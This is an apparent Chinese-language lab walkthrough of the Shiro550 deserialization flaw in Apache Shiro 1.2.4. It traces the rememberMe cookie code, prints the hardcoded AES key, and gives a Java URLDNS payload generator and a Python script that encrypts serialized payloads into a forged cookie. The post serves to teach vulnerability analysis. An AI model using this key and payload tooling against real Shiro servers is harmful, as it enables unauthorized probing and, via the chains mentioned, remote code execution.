Shiro550
y1zh3e7 Lv2

Shiro550反序列化

环境配置

  • 代码准备,需要1.2.4版本的shiro代码来运行:

    1
    2
    3
    git clone https://github.com/apache/shiro.git
    cd shiro
    git checkout shiro-root-1.2.4
  • 修改maven依赖:在项目根目录的pom.xml下修改jstl依赖项为

1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
<scope>provided</scope>
</dependency>
  • jdk及tomcat版本选用:

    jdk选用1.7:Java Archive Downloads - Java SE 7 (oracle.com)

    tomcat选用8.x:Apache Tomcat® - Apache Tomcat 8 Software Downloads

  • idea中配置tomcat并运行shiro项目:

    等待maven依赖导入完成后就可以配置tomcat了,一部分maven依赖可能无法导入,但不影响项目正常启动。

    tomcat的配置,此外也要对项目工程及sdk和java编译版本选择为1.7,这里要将HTTP port改为其他端口,因为一会我们需要用burpsuite抓包,burpsuite默认端口也是8080,会造成端口冲突:image

    image

  • 成功启动后如下:

    image

image

URLDNS探测Shiro550

我们在搭建好的网站上进行登陆,并且要勾选Rememberme后抓包,可以发现在Server端返回的Cookie中有一个rememberMe字段,并且其中看起来像是加密储存了一些内容: image

我们可以在shiro的源码中发现实现这个功能的类CookieRememberMeManager,找到其中的getRememberedSerializedIdentity这个方法,可以看的出来这个方法会从请求中获取这个Cookie并返回,所以接下来的逻辑就是找哪个方法调用了这个方法,然后对Cookie进行解密等处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}

WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}

HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);

String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}

org/apache/shiro/mgt/AbstractRememberMeManager这个类中我们找到了getRememberedPrincipals这个方法调用了getRememberedSerializedIdentity,然后把这个Cookie用convertBytesToPrincipals进行处理,我们跟进这个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

可以看到这个方法做了两件事,一个是对这个传过来的Cookie进行decrypt(解密),一个是对这个Cookie进行deserialize(反序列化),我们分别跟进这两个方法看一下:

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

先来看deserialize

1
2
3
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}

这个函数把Cookie传给了getSerializer().deserialize()这个方法,getSerializer的返回值是serializer,这个变量在构造函数内进行了初始化,是一个DefaultSerializer,因此我们跟进DefaultSerializer.deserialize

1
2
3
4
5
6
7
8
9
10
    public Serializer<PrincipalCollection> getSerializer() {
return serializer;
}

## 构造函数
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

可以发现就是实现了一个反序列化,因此确实存在反序列化漏洞的点,我们接下来就要破解上面的加密算法,从而能让我们自己的payload加密后发过去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}

回到decrypt上,decrypt方法先通过getDecryptionCipherKey方法获取了一个密钥,然后将Cookie交给cipherService.decrypt方法解密:

1
2
3
4
5
6
7
8
9
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}

可以看到cipherService是通过getCipherService方法得到的,跟进发现返回值在构造函数中初始化,其实到这里可以看的出来就是个Aes加密了(并且下面的setCipherKey其实就是AES的密钥,不过我们假装不知道一会再找回来),继续跟进AesCipherService的话可以看到Aes加密的具体方式,这里就不展示出来了:

1
2
3
4
5
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

我们再回头看getDecryptionCipherKey方法获取密钥的逻辑,跟进:

1
2
3
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}

再找decryptionCipherKey这个属性在哪里进行的赋值,可以发现是通过setter赋值(Find Usage -> Value Write):

1
2
3
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
this.decryptionCipherKey = decryptionCipherKey;
}

接着看哪里调用了setDecryptionCipherKey方法,发现在setCipherKey方法中:

1
2
3
4
5
6
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

最终其实还是在构造函数传了密钥,并且可以发现密钥是一个写死的常量,因此问题就出在这里,在shiro1.2.4版本下,密钥是写死的,并且采用的是AES加密(对称加密),所以我们可以通过这个密钥自己构造payload并加密后传过去进行反序列化攻击:

1
2
3
4
5
6
7
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

我们看一下在这个包中的Maven依赖有哪个是我们可攻击的,发现存在commons-collections3.x,不过可以发现这个依赖项的scope是test,也就是说只有在test中运行时这个依赖才会被导入,那么真实条件下是不存在这个依赖的,所以我们是没有办法通过这个依赖进行攻击的:

image

实际上可以攻击的依赖是commons-beanutils这个依赖,不过我们这里先用Java自带的URLDNS进行一下测试

image


将URLDNS的利用类序列化出来,我这里序列化后保存的文件名叫做ser.bin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package ysoserial.payloads.util.Test;


import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

import static ysoserial.payloads.util.Test.util.Serialize.serialize;
import static ysoserial.payloads.util.Test.util.Unserialize.unserialize;

public class URLDNSTest{
public static void main(String[] args) throws Exception{
// url为接收dns请求的url 自己修改
URL url = new URL("xxx.com");

Class c = url.getClass();
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(url,1234);

HashMap hashMap = new HashMap();
hashMap.put(url,1);

hashcodeField.set(url,-1);
serialize(hashMap);

}
}

这是根据shiro加密的逻辑写出的构造新payload的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64
import uuid
from random import Random
from Crypto.Cipher import AES

def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s : s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))

把ser.bin和脚本放在同一目录下运行脚本即可:

image

image

替换Cookie进行发包,需要注意的是要将Cookie中的SessionId删除掉,否则Shiro会直接用Sessionid而不是rememberme:
image

image

关于如何通过cb链命令执行先🐦一手 有空补上来

 评论